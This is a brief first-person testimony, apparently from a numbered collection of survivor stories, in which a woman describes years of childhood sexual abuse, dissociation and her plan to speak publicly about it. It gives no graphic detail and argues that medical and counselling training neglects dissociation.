065 – Maggie

I was sexually abused for 12 years. The abuse was severe and filled with terror so I fractured my personality and made up inside people to take my place. “It happened to her, not me.” It happened and it happened to me. At the time I was alone, lonely and depressed. Insomnia plagued me all of my life. I am speaking about it for the first time this weekend at a women’s convention. I believe in telling and sharing to that others can learn and be able to find their way to help stop this horrific abuse of children. Maybe the educated will tolerate and appreciate what some of us adults present when we go out into the world. Going to doctors is not a good situation since it is almost NEVER talked about in med schools. Most all programs for counselors rarely learn about dissociation. I believe that everyone who goes through severe trauma dissociates.
